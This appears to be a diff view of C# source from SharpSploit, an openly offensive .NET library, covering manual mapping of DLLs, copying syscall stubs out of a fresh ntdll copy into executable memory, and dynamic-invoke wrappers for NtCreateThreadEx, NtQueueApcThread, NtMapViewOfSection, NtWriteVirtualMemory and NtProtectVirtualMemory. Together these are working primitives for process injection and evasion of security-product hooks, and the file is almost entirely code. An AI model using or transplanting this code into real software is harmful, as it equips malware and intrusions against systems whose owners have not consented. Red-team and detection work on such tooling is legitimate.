IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
|
||||
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
|
||||
|
||||
Native.NtCreateThreadEx(
|
||||
ref hRemoteThread,
|
||||
Execute.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
|
||||
IntPtr.Zero, (IntPtr)(-1),
|
||||
lpStartAddress, IntPtr.Zero,
|
||||
false, 0, 0, 0, IntPtr.Zero
|
||||
);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
|
||||
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
|
||||
/// <returns>void</returns>
|
||||
public static void CallMappedDLLModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
|
||||
{
|
||||
IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
|
||||
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
|
||||
|
||||
PE.DllMain fDllMain = (PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(PE.DllMain));
|
||||
bool CallRes = fDllMain(ModuleMemoryBase, PE.DLL_PROCESS_ATTACH, IntPtr.Zero);
|
||||
if (!CallRes)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to call DllMain -> DLL_PROCESS_ATTACH");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Call a manually mapped DLL by Export.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
|
||||
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
|
||||
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
|
||||
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
|
||||
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
|
||||
/// <param name="CallEntry">Specify whether to invoke the module's entry point.</param>
|
||||
/// <returns>void</returns>
|
||||
public static object CallMappedDLLModuleExport(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
|
||||
{
|
||||
// Call entry point if user has specified
|
||||
if (CallEntry)
|
||||
{
|
||||
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
|
||||
}
|
||||
|
||||
// Get export pointer
|
||||
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName);
|
||||
|
||||
// Call export
|
||||
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="FunctionName">The name of the function to search for (e.g. "NtAlertResumeThread").</param>
|
||||
/// <returns>IntPtr, Syscall stub</returns>
|
||||
public static IntPtr GetSyscallStub(string FunctionName)
|
||||
{
|
||||
// Verify process & architecture
|
||||
bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
|
||||
if (IntPtr.Size == 4 && isWOW64)
|
||||
{
|
||||
throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64.");
|
||||
}
|
||||
|
||||
// Find the path for ntdll by looking at the currently loaded module
|
||||
string NtdllPath = string.Empty;
|
||||
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
|
||||
foreach (ProcessModule Mod in ProcModules)
|
||||
{
|
||||
if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
NtdllPath = Mod.FileName;
|
||||
}
|
||||
}
|
||||
|
||||
// Alloc module into memory for parsing
|
||||
IntPtr pModule = Execute.ManualMap.Map.AllocateFileToMemory(NtdllPath);
|
||||
|
||||
// Fetch PE meta data
|
||||
PE.PE_META_DATA PEINFO = GetPeMetaData(pModule);
|
||||
|
||||
// Alloc PE image memory -> RW
|
||||
IntPtr BaseAddress = IntPtr.Zero;
|
||||
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
|
||||
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
|
||||
|
||||
IntPtr pImage = Native.NtAllocateVirtualMemory(
|
||||
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
|
||||
Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve,
|
||||
Execute.Win32.WinNT.PAGE_READWRITE
|
||||
);
|
||||
|
||||
// Write PE header to memory
|
||||
UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
|
||||
|
||||
// Write sections to memory
|
||||
foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
|
||||
{
|
||||
// Calculate offsets
|
||||
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
|
||||
IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
|
||||
|
||||
// Write data
|
||||
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
|
||||
if (BytesWritten != ish.SizeOfRawData)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to write to memory.");
|
||||
}
|
||||
}
|
||||
|
||||
// Get Ptr to function
|
||||
IntPtr pFunc = GetExportAddress(pImage, FunctionName);
|
||||
if (pFunc == IntPtr.Zero)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to resolve ntdll export.");
|
||||
}
|
||||
|
||||
// Alloc memory for call stub
|
||||
BaseAddress = IntPtr.Zero;
|
||||
RegionSize = (IntPtr)0x50;
|
||||
IntPtr pCallStub = Native.NtAllocateVirtualMemory(
|
||||
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
|
||||
Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve,
|
||||
Execute.Win32.WinNT.PAGE_READWRITE
|
||||
);
|
||||
|
||||
// Write call stub
|
||||
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50);
|
||||
if (BytesWritten != 0x50)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to write to memory.");
|
||||
}
|
||||
|
||||
// Change call stub permissions
|
||||
Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Execute.Win32.WinNT.PAGE_EXECUTE_READ);
|
||||
|
||||
// Free temporary allocations
|
||||
Marshal.FreeHGlobal(pModule);
|
||||
RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
|
||||
|
||||
Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Reserve);
|
||||
|
||||
return pCallStub;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,787 +0,0 @@
|
|||
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
|
||||
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
|
||||
// License: BSD 3-Clause
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using Execute = SharpSploit.Execution;
|
||||
|
||||
namespace SharpSploit.Execution.DynamicInvoke
|
||||
{
|
||||
/// <summary>
|
||||
/// Contains function prototypes and wrapper functions for dynamically invoking NT API Calls.
|
||||
/// </summary>
|
||||
public class Native
|
||||
{
|
||||
public static Execute.Native.NTSTATUS NtCreateThreadEx(
|
||||
ref IntPtr threadHandle,
|
||||
Execute.Win32.WinNT.ACCESS_MASK desiredAccess,
|
||||
IntPtr objectAttributes,
|
||||
IntPtr processHandle,
|
||||
IntPtr startAddress,
|
||||
IntPtr parameter,
|
||||
bool createSuspended,
|
||||
int stackZeroBits,
|
||||
int sizeOfStack,
|
||||
int maximumStackSize,
|
||||
IntPtr attributeList)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits,
|
||||
sizeOfStack, maximumStackSize, attributeList
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx",
|
||||
typeof(DELEGATES.NtCreateThreadEx), ref funcargs);
|
||||
|
||||
// Update the modified variables
|
||||
threadHandle = (IntPtr)funcargs[0];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static Execute.Native.NTSTATUS RtlCreateUserThread(
|
||||
IntPtr Process,
|
||||
IntPtr ThreadSecurityDescriptor,
|
||||
bool CreateSuspended,
|
||||
IntPtr ZeroBits,
|
||||
IntPtr MaximumStackSize,
|
||||
IntPtr CommittedStackSize,
|
||||
IntPtr StartAddress,
|
||||
IntPtr Parameter,
|
||||
ref IntPtr Thread,
|
||||
IntPtr ClientId)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits,
|
||||
MaximumStackSize, CommittedStackSize, StartAddress, Parameter,
|
||||
Thread, ClientId
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread",
|
||||
typeof(DELEGATES.RtlCreateUserThread), ref funcargs);
|
||||
|
||||
// Update the modified variables
|
||||
Thread = (IntPtr)funcargs[8];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static Execute.Native.NTSTATUS NtCreateSection(
|
||||
ref IntPtr SectionHandle,
|
||||
uint DesiredAccess,
|
||||
IntPtr ObjectAttributes,
|
||||
ref ulong MaximumSize,
|
||||
uint SectionPageProtection,
|
||||
uint AllocationAttributes,
|
||||
IntPtr FileHandle)
|
||||
{
|
||||
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Unable to create section, " + retValue);
|
||||
}
|
||||
|
||||
// Update the modified variables
|
||||
SectionHandle = (IntPtr) funcargs[0];
|
||||
MaximumSize = (ulong) funcargs[3];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static Execute.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
hProc, baseAddr
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS result = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection",
|
||||
typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public static Execute.Native.NTSTATUS NtMapViewOfSection(
|
||||
IntPtr SectionHandle,
|
||||
IntPtr ProcessHandle,
|
||||
ref IntPtr BaseAddress,
|
||||
IntPtr ZeroBits,
|
||||
IntPtr CommitSize,
|
||||
IntPtr SectionOffset,
|
||||
ref ulong ViewSize,
|
||||
uint InheritDisposition,
|
||||
uint AllocationType,
|
||||
uint Win32Protect)
|
||||
{
|
||||
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType,
|
||||
Win32Protect
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success && retValue != Execute.Native.NTSTATUS.ImageNotAtBase)
|
||||
{
|
||||
throw new InvalidOperationException("Unable to map view of section, " + retValue);
|
||||
}
|
||||
|
||||
// Update the modified variables.
|
||||
BaseAddress = (IntPtr) funcargs[2];
|
||||
ViewSize = (ulong) funcargs[6];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static void RtlInitUnicodeString(ref Execute.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
DestinationString, SourceString
|
||||
};
|
||||
|
||||
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
|
||||
|
||||
// Update the modified variables
|
||||
DestinationString = (Execute.Native.UNICODE_STRING)funcargs[0];
|
||||
}
|
||||
|
||||
public static Execute.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Execute.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
PathToFile, dwFlags, ModuleFileName, ModuleHandle
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs);
|
||||
|
||||
// Update the modified variables
|
||||
ModuleHandle = (IntPtr)funcargs[3];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static void RtlZeroMemory(IntPtr Destination, int Length)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
Destination, Length
|
||||
};
|
||||
|
||||
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs);
|
||||
}
|
||||
|
||||
public static Execute.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Execute.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)
|
||||
{
|
||||
int processInformationLength;
|
||||
UInt32 RetLen = 0;
|
||||
|
||||
switch (processInfoClass)
|
||||
{
|
||||
case Execute.Native.PROCESSINFOCLASS.ProcessWow64Information:
|
||||
pProcInfo = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
RtlZeroMemory(pProcInfo, IntPtr.Size);
|
||||
processInformationLength = IntPtr.Size;
|
||||
break;
|
||||
case Execute.Native.PROCESSINFOCLASS.ProcessBasicInformation:
|
||||
Execute.Native.PROCESS_BASIC_INFORMATION PBI = new Execute.Native.PROCESS_BASIC_INFORMATION();
|
||||
pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI));
|
||||
RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI));
|
||||
Marshal.StructureToPtr(PBI, pProcInfo, true);
|
||||
processInformationLength = Marshal.SizeOf(PBI);
|
||||
break;
|
||||
default:
|
||||
throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}");
|
||||
}
|
||||
|
||||
object[] funcargs =
|
||||
{
|
||||
hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
|
||||
// Update the modified variables
|
||||
pProcInfo = (IntPtr)funcargs[2];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess)
|
||||
{
|
||||
Execute.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Execute.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
|
||||
if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static Execute.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess)
|
||||
{
|
||||
Execute.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Execute.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
|
||||
return (Execute.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Execute.Native.PROCESS_BASIC_INFORMATION));
|
||||
}
|
||||
|
||||
public static IntPtr NtOpenProcess(UInt32 ProcessId, Execute.Win32.Kernel32.ProcessAccessFlags DesiredAccess)
|
||||
{
|
||||
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
|
||||
IntPtr ProcessHandle = IntPtr.Zero;
|
||||
Execute.Native.OBJECT_ATTRIBUTES oa = new Execute.Native.OBJECT_ATTRIBUTES();
|
||||
Execute.Native.CLIENT_ID ci = new Execute.Native.CLIENT_ID();
|
||||
ci.UniqueProcess = (IntPtr)ProcessId;
|
||||
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
ProcessHandle, DesiredAccess, oa, ci
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success && retValue == Execute.Native.NTSTATUS.InvalidCid)
|
||||
{
|
||||
throw new InvalidOperationException("An invalid client ID was specified.");
|
||||
}
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
|
||||
// Update the modified variables
|
||||
ProcessHandle = (IntPtr)funcargs[0];
|
||||
|
||||
return ProcessHandle;
|
||||
}
|
||||
|
||||
public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Unable to queue APC, " + retValue);
|
||||
}
|
||||
}
|
||||
|
||||
public static IntPtr NtOpenThread(int TID, Execute.Win32.Kernel32.ThreadAccess DesiredAccess)
|
||||
{
|
||||
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
|
||||
IntPtr ThreadHandle = IntPtr.Zero;
|
||||
Execute.Native.OBJECT_ATTRIBUTES oa = new Execute.Native.OBJECT_ATTRIBUTES();
|
||||
Execute.Native.CLIENT_ID ci = new Execute.Native.CLIENT_ID();
|
||||
ci.UniqueThread = (IntPtr)TID;
|
||||
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
ThreadHandle, DesiredAccess, oa, ci
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success && retValue == Execute.Native.NTSTATUS.InvalidCid)
|
||||
{
|
||||
throw new InvalidOperationException("An invalid client ID was specified.");
|
||||
}
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
|
||||
// Update the modified variables
|
||||
ThreadHandle = (IntPtr)funcargs[0];
|
||||
|
||||
return ThreadHandle;
|
||||
}
|
||||
|
||||
public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, Execute.Win32.Kernel32.AllocationType AllocationType, UInt32 Protect)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs);
|
||||
if (retValue == Execute.Native.NTSTATUS.AccessDenied)
|
||||
{
|
||||
// STATUS_ACCESS_DENIED
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.AlreadyCommitted)
|
||||
{
|
||||
// STATUS_ALREADY_COMMITTED
|
||||
throw new InvalidOperationException("The specified address range is already committed.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.CommitmentLimit)
|
||||
{
|
||||
// STATUS_COMMITMENT_LIMIT
|
||||
throw new InvalidOperationException("Your system is low on virtual memory.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.ConflictingAddresses)
|
||||
{
|
||||
// STATUS_CONFLICTING_ADDRESSES
|
||||
throw new InvalidOperationException("The specified address range conflicts with the address space.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.InsufficientResources)
|
||||
{
|
||||
// STATUS_INSUFFICIENT_RESOURCES
|
||||
throw new InvalidOperationException("Insufficient system resources exist to complete the API call.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.InvalidHandle)
|
||||
{
|
||||
// STATUS_INVALID_HANDLE
|
||||
throw new InvalidOperationException("An invalid HANDLE was specified.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.InvalidPageProtection)
|
||||
{
|
||||
// STATUS_INVALID_PAGE_PROTECTION
|
||||
throw new InvalidOperationException("The specified page protection was not valid.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.NoMemory)
|
||||
{
|
||||
// STATUS_NO_MEMORY
|
||||
throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.ObjectTypeMismatch)
|
||||
{
|
||||
// STATUS_OBJECT_TYPE_MISMATCH
|
||||
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
|
||||
}
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
// STATUS_PROCESS_IS_TERMINATING == 0xC000010A
|
||||
throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process.");
|
||||
}
|
||||
|
||||
BaseAddress = (IntPtr)funcargs[1];
|
||||
return BaseAddress;
|
||||
}
|
||||
|
||||
public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, Execute.Win32.Kernel32.AllocationType FreeType)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
ProcessHandle, BaseAddress, RegionSize, FreeType
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs);
|
||||
if (retValue == Execute.Native.NTSTATUS.AccessDenied)
|
||||
{
|
||||
// STATUS_ACCESS_DENIED
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.InvalidHandle)
|
||||
{
|
||||
// STATUS_INVALID_HANDLE
|
||||
throw new InvalidOperationException("An invalid HANDLE was specified.");
|
||||
}
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
// STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024
|
||||
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem)
|
||||
{
|
||||
// Alloc buffer for result struct
|
||||
IntPtr pBase = IntPtr.Zero;
|
||||
IntPtr RegionSize = (IntPtr)0x500;
|
||||
IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Commit | Execute.Win32.Kernel32.AllocationType.Reserve, Execute.Win32.WinNT.PAGE_READWRITE);
|
||||
|
||||
// Prepare NtQueryVirtualMemory parameters
|
||||
Execute.Native.MEMORYINFOCLASS memoryInfoClass = Execute.Native.MEMORYINFOCLASS.MemorySectionName;
|
||||
UInt32 MemoryInformationLength = 0x500;
|
||||
UInt32 Retlen = 0;
|
||||
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs);
|
||||
|
||||
string FilePath = string.Empty;
|
||||
if (retValue == Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
Execute.Native.UNICODE_STRING sn = (Execute.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Execute.Native.UNICODE_STRING));
|
||||
FilePath = Marshal.PtrToStringUni(sn.Buffer);
|
||||
}
|
||||
|
||||
// Free allocation
|
||||
NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Execute.Win32.Kernel32.AllocationType.Reserve);
|
||||
if (retValue == Execute.Native.NTSTATUS.AccessDenied)
|
||||
{
|
||||
// STATUS_ACCESS_DENIED
|
||||
throw new UnauthorizedAccessException("Access is denied.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.AccessViolation)
|
||||
{
|
||||
// STATUS_ACCESS_VIOLATION
|
||||
throw new InvalidOperationException("The specified base address is an invalid virtual address.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.InfoLengthMismatch)
|
||||
{
|
||||
// STATUS_INFO_LENGTH_MISMATCH
|
||||
throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength.");
|
||||
}
|
||||
if (retValue == Execute.Native.NTSTATUS.InvalidParameter)
|
||||
{
|
||||
// STATUS_INVALID_PARAMETER
|
||||
throw new InvalidOperationException("The specified base address is outside the range of accessible addresses.");
|
||||
}
|
||||
return FilePath;
|
||||
}
|
||||
|
||||
public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
UInt32 OldProtect = 0;
|
||||
object[] funcargs =
|
||||
{
|
||||
ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to change memory protection, " + retValue);
|
||||
}
|
||||
|
||||
OldProtect = (UInt32)funcargs[4];
|
||||
return OldProtect;
|
||||
}
|
||||
|
||||
public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
UInt32 BytesWritten = 0;
|
||||
object[] funcargs =
|
||||
{
|
||||
ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten
|
||||
};
|
||||
|
||||
